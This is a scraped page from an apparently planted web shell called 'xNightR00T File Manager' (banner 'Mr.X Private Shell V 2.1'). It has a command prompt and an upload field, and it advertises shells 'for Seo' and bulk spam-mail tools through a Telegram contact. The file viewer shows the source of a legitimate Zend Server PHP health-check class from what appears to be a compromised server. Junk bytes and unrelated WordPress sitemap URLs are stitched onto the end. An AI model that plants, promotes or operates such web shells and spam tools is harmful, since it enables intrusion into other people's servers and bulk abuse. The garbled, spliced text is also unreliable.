xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Zsd;

use ZendServer\Log\Log;
use ZendServer\Edition;
use ZendServer\EditionAwareInterface;
use Servers\Db\ServersAwareInterface;

class ZsdHealthChecker implements EditionAwareInterface, ServersAwareInterface
{
    const THRESHOLD_DELTA = 10; // how long in seconds we allow the zsd timestmap to be stale, before reporting that ZSD is down. ZSD updates the timestamp at least once every 1 seconds

    /**
     * @var Servers\Db\Mapper
     */
    private $serversMapper;

    /**
     * @var SessionStorage
     */
    private $sessionStorage = null;

    /**
     * @var Edition
     */
    private $edition;

    /**
     * @var Configuration\MapperDirectives
     */
    private $dirsMapper;

    /**
     * @param boolean $zsdIsDown
     * @return void|boolean
     */
    public function checkZsdHealth($zsdIsDown = false)
    {

        // remove all disabled not keep the non-alive servers
        $serverIds = $this->getServersMapper()->findRespondingServersIds(false, true);
        // run for all server and check if they are alive - have a zsd timestamp
        foreach ($serverIds as $id) {
            $currentZsdTimeStamp = $this->getServersMapper()->getZsdLastUpdated($id);
            if (is_null($currentZsdTimeStamp)) {
                Log::warn("ZSD of server #$id HealthCheck - ZSD seems to be down");
                return false;
            }
        }

        $edition             = $this->getEdition();
        $currentZsdTimeStamp = $this->getServersMapper()->getZsdLastUpdated($edition->getServerId());
        $currentPhpTimeStamp = time();

        $zsdTimeStamp         = $this->getSessionStorage()->getZsdTimeStamp();
        $previousPhpTimeStamp = $this->getSessionStorage()->getPhpTimeStamp();

        if (!$zsdTimeStamp) {
            log::info("ZSD HealthCheck - timestamps are missing - newly created system?");
            $this->getSessionStorage()->setZsdTimeStamp($currentZsdTimeStamp);
            $this->getSessionStorage()->setPhpTimeStamp($currentPhpTimeStamp);
            return;
        }

        if ($zsdIsDown === false && ($currentPhpTimeStamp - $previousPhpTimeStamp) <= self::THRESHOLD_DELTA) {
            Log::debug("ZSD HealthCheck - will not check ZSD timestamps as within the threshold");
            return;
        }

        $this->getSessionStorage()->setPhpTimeStamp($currentPhpTimeStamp);

        if ($edition->isClusterServer()) {
            // in cluster we need to get the current time of db, instead of php current time
            $currentTimeStamp = $this->getServersMapper()->getTimestamp();
        } else {
            $currentTimeStamp = $currentPhpTimeStamp;
        }

        $interval = $this->getDirectiveMapper()->getDirectiveValue('zend_server_daemon.keep_alive_interval');
        $interval = $interval ? $interval : \Servers\Db\Mapper::ZSD_DEFAULT_HEARTBEAT_INTERVAL; // add two seconds to any value

        if (($currentTimeStamp - $currentZsdTimeStamp) > (self::THRESHOLD_DELTA + $interval)) {
            Log::err("ZSD HealthCheck - ZSD seems to be down");
            Log::debug("ZSD HealthCheck - ZSD seems to be down: currentTimeStamp:$currentTimeStamp zsdTimeStamp:$currentZsdTimeStamp currentPhpTimeStamp:$currentPhpTimeStamp previousPhpTimeStamp:$previousPhpTimeStamp interval: $interval");
            return false;
        } else {
            $this->getSessionStorage()->setZsdTimeStamp($currentZsdTimeStamp);
            Log::debug("ZSD HealthCheck - ZSD is up and running. set to: currentTimeStamp:$currentTimeStamp zsdTimeStamp:$currentZsdTimeStamp currentPhpTimeStamp:$currentPhpTimeStamp previousPhpTimeStamp:$previousPhpTimeStamp interval: $interval");
            return true;
        }

        return true;
    }

    /**
     * @return \Servers\Db\Mapper
     */
    public function getServersMapper()
    {
        return $this->serversMapper;
    }

    /**
     * @param \Zsd\Servers\Db\Mapper $serversMapper
     */
    public function setServersMapper($serversMapper)
    {
        $this->serversMapper = $serversMapper;
        return $this;
    }

    /**
     * @return \Zsd\SessionStorage
     */
    public function getSessionStorage()
    {
        if ($this->sessionStorage) return $this->sessionStorage;

        return $this->sessionStorage = new SessionStorage;
    }

    /**
     * @param \Zsd\SessionStorage $sessionStorage
     */
    public function setSessionStorage($sessionStorage)
    {
        $this->sessionStorage = $sessionStorage;
    }
    /* (non-PHPdoc)
     * @see \ZendServer\EditionAwareInterface::setEdition()
     */

    public function setEdition($edition)
    {
        $this->edition = $edition;
    }

    /**
     * @return \Configuration\MapperDirectives
     */
    public function getDirectiveMapper()
    {
        return $this->dirsMapper;
    }

    /**
     * @param \Configuration\MapperDirectives $serversMapper
     */
    public function setDirectivesMapper($dirsMapper)
    {
        $this->dirsMapper = $dirsMapper;
        return $this;
    }

    /**
     * @return \ZendServer\Edition
     */
    public function getEdition()
    {
        return $this->edition;
    }
}

Filemanager

Name Type Size Permission Actions
Controller Folder 0755
Db Folder 0755
View Folder 0755
SessionStorage.php File 2.75 KB 0644
ZsdHealthChecker.php File 5.04 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml